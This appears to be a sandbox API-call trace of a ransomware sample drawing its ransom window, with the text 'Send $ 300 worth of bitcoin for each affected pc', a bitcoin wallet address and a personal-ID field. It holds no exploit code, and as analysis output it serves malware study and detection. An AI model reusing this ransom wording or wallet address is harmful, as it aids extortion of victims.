[0089.506] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x83, wParam=0x0, lParam=0x2eda00) returned 0x0
[0089.507] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x1, wParam=0x0, lParam=0x2ed8e0) returned 0x1
[0089.508] SendMessageW (hWnd=0x20280, Msg=0x2111, wParam=0x4000280, lParam=0x20280) returned 0x0
[0089.508] SendMessageW (hWnd=0x20280, Msg=0x2111, wParam=0x3000280, lParam=0x20280) returned 0x0
[0089.508] SendMessageW (hWnd=0x20280, Msg=0x2055, wParam=0x20280, lParam=0x3) returned 0x2
[0089.508] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3
[0089.508] GetWindow (hWnd=0x20280, uCmd=0x3) returned 0x20286
[0089.508] GetClientRect (in: hWnd=0x20280, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.508] GetWindowRect (in: hWnd=0x20280, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.508] GetParent (hWnd=0x20280) returned 0x20284
[0089.508] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20284, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -28508509
[0089.508] GetDC (hWnd=0x0) returned 0x90109d4
[0089.509] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed018) returned 0x0
[0089.509] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.509] GdipGetLogFontW (font=0x1c5af1d0, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0089.509] CoTaskMemFree (pv=0x1ac10900)
[0089.509] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.509] CoTaskMemFree (pv=0x1ac10900)
[0089.509] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.509] CoTaskMemFree (pv=0x1ac10900)
[0089.509] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0089.509] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0089.509] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.509] CreateFontIndirectW (lplf=0x1ac10900) returned 0x290a019e
[0089.510] CoTaskMemFree (pv=0x1ac10900)
[0089.510] SendMessageW (hWnd=0x20280, Msg=0x30, wParam=0x290a019e, lParam=0x0) returned 0x1
[0089.510] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x30, wParam=0x290a019e, lParam=0x0) returned 0x1
[0089.510] SendMessageW (hWnd=0x20280, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0
[0089.510] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0
[0089.511] SetWindowTextW (hWnd=0x20280, lpString=" Send $ 300 worth of bitcoin for each affected pc ") returned 1
[0089.511] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0xc, wParam=0x0, lParam=0x25fb07c) returned 0x1
[0089.511] SendMessageW (hWnd=0x20280, Msg=0x2111, wParam=0x4000280, lParam=0x20280) returned 0x0
[0089.511] SendMessageW (hWnd=0x20280, Msg=0x2111, wParam=0x3000280, lParam=0x20280) returned 0x0
[0089.511] GetSystemMetrics (nIndex=5) returned 1
[0089.511] GetSystemMetrics (nIndex=6) returned 1
[0089.511] SendMessageW (hWnd=0x20280, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1
[0089.511] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1
[0089.512] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x5, wParam=0x0, lParam=0x130130) returned 0x0
[0089.512] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x3, wParam=0x0, lParam=0x160008) returned 0x0
[0089.512] GetClientRect (in: hWnd=0x20280, lpRect=0x2ed4d0 | out: lpRect=0x2ed4d0) returned 1
[0089.512] GetWindowRect (in: hWnd=0x20280, lpRect=0x2ed4d0 | out: lpRect=0x2ed4d0) returned 1
[0089.512] GetParent (hWnd=0x20280) returned 0x20284
[0089.512] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20284, lpPoints=0x2ed4d0, cPoints=0x2 | out: lpPoints=0x2ed4d0) returned -28508509
[0089.512] SendMessageW (hWnd=0x20280, Msg=0x2210, wParam=0x2800001, lParam=0x20280) returned 0x0
[0089.512] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x2210, wParam=0x2800001, lParam=0x20280) returned 0x0
[0089.512] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.512] GetParent (hWnd=0x20280) returned 0x20284
[0089.512] GetCurrentActCtx (in: lphActCtx=0x2ee340 | out: lphActCtx=0x2ee340*=0x1abc8538) returned 1
[0089.512] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.512] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.512] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName="Wallet for sending bitcoins :", dwStyle=0x56000000, X=385, Y=19, nWidth=366, nHeight=63, hWndParent=0x60106, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20282
[0089.513] SetWindowLongPtrW (hWnd=0x20282, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.513] GetWindowLongPtrW (hWnd=0x20282, nIndex=-4) returned 0x77a8b0ac
[0089.513] SetWindowLongPtrW (hWnd=0x20282, nIndex=-4, dwNewLong=0x1b1a228c) returned 0x77a8b0ac
[0089.513] GetWindowLongPtrW (hWnd=0x20282, nIndex=-4) returned 0x1b1a228c
[0089.513] GetWindowLongPtrW (hWnd=0x20282, nIndex=-16) returned 0x46000000
[0089.513] GetWindowLongPtrW (hWnd=0x20282, nIndex=-12) returned 0x0
[0089.513] SetWindowLongPtrW (hWnd=0x20282, nIndex=-12, dwNewLong=0x20282) returned 0x0
[0089.513] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x81, wParam=0x0, lParam=0x2eda00) returned 0x1
[0089.513] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x83, wParam=0x0, lParam=0x2edab0) returned 0x0
[0089.513] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x1, wParam=0x0, lParam=0x2ed9b0) returned 0x0
[0089.513] GetWindow (hWnd=0x20282, uCmd=0x3) returned 0x20284
[0089.513] GetClientRect (in: hWnd=0x20282, lpRect=0x2ed440 | out: lpRect=0x2ed440) returned 1
[0089.513] GetWindowRect (in: hWnd=0x20282, lpRect=0x2ed440 | out: lpRect=0x2ed440) returned 1
[0089.513] GetParent (hWnd=0x20282) returned 0x60106
[0089.513] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x2ed440, cPoints=0x2 | out: lpPoints=0x2ed440) returned -27263319
[0089.514] SetWindowTextW (hWnd=0x20282, lpString="Wallet for sending bitcoins :") returned 1
[0089.514] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xc, wParam=0x0, lParam=0x25d3c34) returned 0x1
[0089.514] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x5, wParam=0x0, lParam=0x3f016e) returned 0x0
[0089.514] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x3, wParam=0x0, lParam=0x130181) returned 0x0
[0089.514] GetClientRect (in: hWnd=0x20282, lpRect=0x2ed5a0 | out: lpRect=0x2ed5a0) returned 1
[0089.514] GetWindowRect (in: hWnd=0x20282, lpRect=0x2ed5a0 | out: lpRect=0x2ed5a0) returned 1
[0089.514] GetParent (hWnd=0x20282) returned 0x60106
[0089.514] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x2ed5a0, cPoints=0x2 | out: lpPoints=0x2ed5a0) returned -27263319
[0089.514] SendMessageW (hWnd=0x20282, Msg=0x2210, wParam=0x2820001, lParam=0x20282) returned 0x0
[0089.514] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x2210, wParam=0x2820001, lParam=0x20282) returned 0x0
[0089.514] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.515] GetParent (hWnd=0x20282) returned 0x60106
[0089.515] GetCurrentActCtx (in: lphActCtx=0x2ee2d0 | out: lphActCtx=0x2ee2d0*=0x1abc8538) returned 1
[0089.515] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.515] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.515] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName="Copy", dwStyle=0x56012f00, X=313, Y=20, nWidth=47, nHeight=23, hWndParent=0x20282, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x2029a
[0089.515] SetWindowLongPtrW (hWnd=0x2029a, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0089.516] GetWindowLongPtrW (hWnd=0x2029a, nIndex=-4) returned 0x7fefc583b20
[0089.516] SetWindowLongPtrW (hWnd=0x2029a, nIndex=-4, dwNewLong=0x1b1a22dc) returned 0x7fefc583b20
[0089.516] GetWindowLongPtrW (hWnd=0x2029a, nIndex=-4) returned 0x1b1a22dc
[0089.516] GetWindowLongPtrW (hWnd=0x2029a, nIndex=-16) returned 0x46012f00
[0089.516] GetWindowLongPtrW (hWnd=0x2029a, nIndex=-12) returned 0x0
[0089.517] SetWindowLongPtrW (hWnd=0x2029a, nIndex=-12, dwNewLong=0x2029a) returned 0x0
[0089.517] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x81, wParam=0x0, lParam=0x2ed990) returned 0x1
[0089.517] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x83, wParam=0x0, lParam=0x2eda40) returned 0x0
[0089.517] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x1, wParam=0x0, lParam=0x2ed970) returned 0x0
[0089.517] SendMessageW (hWnd=0x2029a, Msg=0x2055, wParam=0x2029a, lParam=0x3) returned 0x2
[0089.517] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3
[0089.517] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0
[0089.517] GetWindow (hWnd=0x2029a, uCmd=0x3) returned 0x0
[0089.517] GetClientRect (in: hWnd=0x2029a, lpRect=0x2ed380 | out: lpRect=0x2ed380) returned 1
[0089.517] GetWindowRect (in: hWnd=0x2029a, lpRect=0x2ed380 | out: lpRect=0x2ed380) returned 1
[0089.517] GetParent (hWnd=0x2029a) returned 0x20282
[0089.517] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20282, lpPoints=0x2ed380, cPoints=0x2 | out: lpPoints=0x2ed380) returned -28508888
[0089.518] GetDC (hWnd=0x0) returned 0x90109d4
[0089.518] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed0d8) returned 0x0
[0089.518] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.518] GdipGetLogFontW (font=0x1c5af050, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0089.518] CoTaskMemFree (pv=0x1ac10900)
[0089.518] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.518] CoTaskMemFree (pv=0x1ac10900)
[0089.518] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.518] CoTaskMemFree (pv=0x1ac10900)
[0089.518] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0089.518] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0089.518] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.518] CreateFontIndirectW (lplf=0x1ac10900) returned 0x70a0a0a
[0089.519] CoTaskMemFree (pv=0x1ac10900)
[0089.519] SendMessageW (hWnd=0x2029a, Msg=0x30, wParam=0x70a0a0a, lParam=0x0) returned 0x0
[0089.519] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x30, wParam=0x70a0a0a, lParam=0x0) returned 0x0
[0089.519] SetWindowTextW (hWnd=0x2029a, lpString="Copy") returned 1
[0089.519] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0xc, wParam=0x0, lParam=0x25d4e0c) returned 0x1
[0089.519] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x5, wParam=0x0, lParam=0x17002f) returned 0x0
[0089.519] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x3, wParam=0x0, lParam=0x140139) returned 0x0
[0089.519] GetClientRect (in: hWnd=0x2029a, lpRect=0x2ed4b0 | out: lpRect=0x2ed4b0) returned 1
[0089.519] GetWindowRect (in: hWnd=0x2029a, lpRect=0x2ed4b0 | out: lpRect=0x2ed4b0) returned 1
[0089.519] GetParent (hWnd=0x2029a) returned 0x20282
[0089.519] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20282, lpPoints=0x2ed4b0, cPoints=0x2 | out: lpPoints=0x2ed4b0) returned -28508888
[0089.519] SendMessageW (hWnd=0x2029a, Msg=0x2210, wParam=0x29a0001, lParam=0x2029a) returned 0x0
[0089.519] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x2210, wParam=0x29a0001, lParam=0x2029a) returned 0x0
[0089.520] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.520] GetParent (hWnd=0x2029a) returned 0x20282
[0089.520] GetCurrentActCtx (in: lphActCtx=0x2ee290 | out: lphActCtx=0x2ee290*=0x1abc8538) returned 1
[0089.520] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.520] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.520] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName="3JFgm9SMRxSP9YWPZiSCsezXvWZS5aTsaR", dwStyle=0x560108c0, X=8, Y=20, nWidth=299, nHeight=23, hWndParent=0x20282, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x2029c
[0089.520] SetWindowLongPtrW (hWnd=0x2029c, nIndex=-4, dwNewLong=0x7fefc58975c) returned 0x1b1a21ec
[0089.520] GetWindowLongPtrW (hWnd=0x2029c, nIndex=-4) returned 0x7fefc58975c
[0089.522] SetWindowLongPtrW (hWnd=0x2029c, nIndex=-4, dwNewLong=0x1b1a232c) returned 0x7fefc58975c
[0089.522] GetWindowLongPtrW (hWnd=0x2029c, nIndex=-4) returned 0x1b1a232c
[0089.522] GetWindowLongPtrW (hWnd=0x2029c, nIndex=-16) returned 0x460108c0
[0089.522] GetWindowLongPtrW (hWnd=0x2029c, nIndex=-12) returned 0x0
[0089.522] SetWindowLongPtrW (hWnd=0x2029c, nIndex=-12, dwNewLong=0x2029c) returned 0x0
[0089.522] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x81, wParam=0x0, lParam=0x2ed950) returned 0x1
[0089.522] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x83, wParam=0x0, lParam=0x2eda00) returned 0x0
[0089.522] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x1, wParam=0x0, lParam=0x2ed900) returned 0x1
[0089.523] SendMessageW (hWnd=0x2029c, Msg=0x2111, wParam=0x400029c, lParam=0x2029c) returned 0x0
[0089.523] SendMessageW (hWnd=0x2029c, Msg=0x2111, wParam=0x300029c, lParam=0x2029c) returned 0x0
[0089.523] SendMessageW (hWnd=0x2029c, Msg=0x2055, wParam=0x2029c, lParam=0x3) returned 0x2
[0089.523] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3
[0089.523] GetWindow (hWnd=0x2029c, uCmd=0x3) returned 0x2029a
[0089.523] GetClientRect (in: hWnd=0x2029c, lpRect=0x2ed370 | out: lpRect=0x2ed370) returned 1
[0089.523] GetWindowRect (in: hWnd=0x2029c, lpRect=0x2ed370 | out: lpRect=0x2ed370) returned 1
[0089.523] GetParent (hWnd=0x2029c) returned 0x20282
[0089.523] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20282, lpPoints=0x2ed370, cPoints=0x2 | out: lpPoints=0x2ed370) returned -28508888
[0089.523] GetDC (hWnd=0x0) returned 0x90109d4
[0089.524] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed038) returned 0x0
[0089.524] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.524] GdipGetLogFontW (font=0x1c50d7a0, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0089.524] CoTaskMemFree (pv=0x1ac10900)
[0089.524] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.524] CoTaskMemFree (pv=0x1ac10900)
[0089.524] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.524] CoTaskMemFree (pv=0x1ac10900)
[0089.524] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0089.524] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0089.524] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.524] CreateFontIndirectW (lplf=0x1ac10900) returned 0x70a0a08
[0089.525] CoTaskMemFree (pv=0x1ac10900)
[0089.525] SendMessageW (hWnd=0x2029c, Msg=0x30, wParam=0x70a0a08, lParam=0x0) returned 0x1
[0089.525] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x30, wParam=0x70a0a08, lParam=0x0) returned 0x1
[0089.525] SendMessageW (hWnd=0x2029c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0
[0089.525] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0
[0089.526] SetWindowTextW (hWnd=0x2029c, lpString="3JFgm9SMRxSP9YWPZiSCsezXvWZS5aTsaR") returned 1
[0089.526] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0xc, wParam=0x0, lParam=0x25d1b2c) returned 0x1
[0089.526] SendMessageW (hWnd=0x2029c, Msg=0x2111, wParam=0x400029c, lParam=0x2029c) returned 0x0
[0089.526] SendMessageW (hWnd=0x2029c, Msg=0x2111, wParam=0x300029c, lParam=0x2029c) returned 0x0
[0089.526] GetSystemMetrics (nIndex=5) returned 1
[0089.526] GetSystemMetrics (nIndex=6) returned 1
[0089.526] SendMessageW (hWnd=0x2029c, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1
[0089.526] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1
[0089.526] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x5, wParam=0x0, lParam=0x130127) returned 0x0
[0089.526] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x3, wParam=0x0, lParam=0x16000a) returned 0x0
[0089.526] GetClientRect (in: hWnd=0x2029c, lpRect=0x2ed4d0 | out: lpRect=0x2ed4d0) returned 1
[0089.526] GetWindowRect (in: hWnd=0x2029c, lpRect=0x2ed4d0 | out: lpRect=0x2ed4d0) returned 1
[0089.526] GetParent (hWnd=0x2029c) returned 0x20282
[0089.526] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20282, lpPoints=0x2ed4d0, cPoints=0x2 | out: lpPoints=0x2ed4d0) returned -28508888
[0089.526] SendMessageW (hWnd=0x2029c, Msg=0x2210, wParam=0x29c0001, lParam=0x2029c) returned 0x0
[0089.526] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x2210, wParam=0x29c0001, lParam=0x2029c) returned 0x0
[0089.527] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.527] GetParent (hWnd=0x2029c) returned 0x20282
[0089.527] GetCurrentActCtx (in: lphActCtx=0x2ee340 | out: lphActCtx=0x2ee340*=0x1abc8538) returned 1
[0089.527] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.529] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.529] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName="Your personal ID :", dwStyle=0x56000000, X=6, Y=88, nWidth=373, nHeight=63, hWndParent=0x60106, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x2029e
[0089.529] SetWindowLongPtrW (hWnd=0x2029e, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.530] GetWindowLongPtrW (hWnd=0x2029e, nIndex=-4) returned 0x77a8b0ac
[0089.530] SetWindowLongPtrW (hWnd=0x2029e, nIndex=-4, dwNewLong=0x1b1a237c) returned 0x77a8b0ac
[0089.530] GetWindowLongPtrW (hWnd=0x2029e, nIndex=-4) returned 0x1b1a237c
[0089.530] GetWindowLongPtrW (hWnd=0x2029e, nIndex=-16) returned 0x46000000
[0089.530] GetWindowLongPtrW (hWnd=0x2029e, nIndex=-12) returned 0x0
[0089.530] SetWindowLongPtrW (hWnd=0x2029e, nIndex=-12, dwNewLong=0x2029e) returned 0x0
[0089.530] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x81, wParam=0x0, lParam=0x2eda00) returned 0x1
[0089.530] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x83, wParam=0x0, lParam=0x2edab0) returned 0x0
[0089.530] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x1, wParam=0x0, lParam=0x2ed9c0) returned 0x0
[0089.530] GetWindow (hWnd=0x2029e, uCmd=0x3) returned 0x20282
[0089.530] GetClientRect (in: hWnd=0x2029e, lpRect=0x2ed450 | out: lpRect=0x2ed450) returned 1
[0089.530] GetWindowRect (in: hWnd=0x2029e, lpRect=0x2ed450 | out: lpRect=0x2ed450) returned 1
[0089.530] GetParent (hWnd=0x2029e) returned 0x60106
[0089.530] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x2ed450, cPoints=0x2 | out: lpPoints=0x2ed450) returned -27263319
[0089.531] SetWindowTextW (hWnd=0x2029e, lpString="Your personal ID :") returned 1
[0089.531] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xc, wParam=0x0, lParam=0x25d5514) returned 0x1
[0089.531] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x5, wParam=0x0, lParam=0x3f0175) returned 0x0
[0089.531] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x3, wParam=0x0, lParam=0x580006) returned 0x0
[0089.531] GetClientRect (in: hWnd=0x2029e, lpRect=0x2ed5a0 | out: lpRect=0x2ed5a0) returned 1
[0089.531] GetWindowRect (in: hWnd=0x2029e, lpRect=0x2ed5a0 | out: lpRect=0x2ed5a0) returned 1
[0089.531] GetParent (hWnd=0x2029e) returned 0x60106
[0089.531] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x2ed5a0, cPoints=0x2 | out: lpPoints=0x2ed5a0) returned -27263319
[0089.531] SendMessageW (hWnd=0x2029e, Msg=0x2210, wParam=0x29e0001, lParam=0x2029e) returned 0x0
[0089.531] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x2210, wParam=0x29e0001, lParam=0x2029e) returned 0x0
[0089.532] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.532] GetParent (hWnd=0x2029e) returned 0x60106
[0089.532] GetCurrentActCtx (in: lphActCtx=0x2ee2d0 | out: lphActCtx=0x2ee2d0*=0x1abc8538) returned 1
[0089.532] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.532] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.532] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName="Copy", dwStyle=0x56012f00, X=320, Y=22, nWidth=47, nHeight=23, hWndParent=0x2029e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.532] SetWindowLongPtrW (hWnd=0x2027c, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0089.532] GetWindowLongPtrW (hWnd=0x2027c, nIndex=-4) returned 0x7fefc583b20
[0089.533] SetWindowLongPtrW (hWnd=0x2027c, nIndex=-4, dwNewLong=0x1b1a23cc) returned 0x7fefc583b20
[0089.533] GetWindowLongPtrW (hWnd=0x2027c, nIndex=-4) returned 0x1b1a23cc
[0089.533] GetWindowLongPtrW (hWnd=0x2027c, nIndex=-16) returned 0x46012f00
[0089.533] GetWindowLongPtrW (hWnd=0x2027c, nIndex=-12) returned 0x0
[0089.533] SetWindowLongPtrW (hWnd=0x2027c, nIndex=-12, dwNewLong=0x2027c) returned 0x0
[0089.536] GetDC (hWnd=0x0) returned 0x90109d4
[0089.536] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed0d8) returned 0x0
[0089.536] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.536] GdipGetLogFontW (font=0x1c5af0d0, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0089.536] CoTaskMemFree (pv=0x1ac10900)
[0089.536] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.536] CoTaskMemFree (pv=0x1ac10900)
[0089.536] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.536] CoTaskMemFree (pv=0x1ac10900)
[0089.536] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0089.536] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0089.537] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.537] CreateFontIndirectW (lplf=0x1ac10900) returned 0x50a09fe
[0089.537] CoTaskMemFree (pv=0x1ac10900)
[0089.537] SendMessageW (hWnd=0x2027c, Msg=0x30, wParam=0x50a09fe, lParam=0x0)
[0089.537] SetWindowTextW (hWnd=0x2027c, lpString="Copy")
[0089.538] GetCurrentActCtx (in: lphActCtx=0x2ee290 | out: lphActCtx=0x2ee290*=0x1abc8538) returned 1
[0089.538] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.538] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.538] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=" ", dwStyle=0x560108c0, X=7, Y=22, nWidth=307, nHeight=23, hWndParent=0x2029e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.538] SetWindowLongPtrW (hWnd=0x2027e, nIndex=-4, dwNewLong=0x7fefc58975c) returned 0x1b1a21ec
[0089.538] GetWindowLongPtrW (hWnd=0x2027e, nIndex=-4) returned 0x7fefc58975c
[0089.540] GetDC (hWnd=0x0) returned 0x90109d4
[0089.540] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed078) returned 0x0
[0089.540] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.540] GdipGetLogFontW (font=0x1c50d760, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0089.540] CoTaskMemFree (pv=0x1ac10900)
[0089.540] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.540] CoTaskMemFree (pv=0x1ac10900)
[0089.541] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.541] CoTaskMemFree (pv=0x1ac10900)
[0089.541] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0089.541] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0089.541] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.541] CreateFontIndirectW (lplf=0x1ac10900) returned 0x50a0a07
[0089.541] CoTaskMemFree (pv=0x1ac10900)
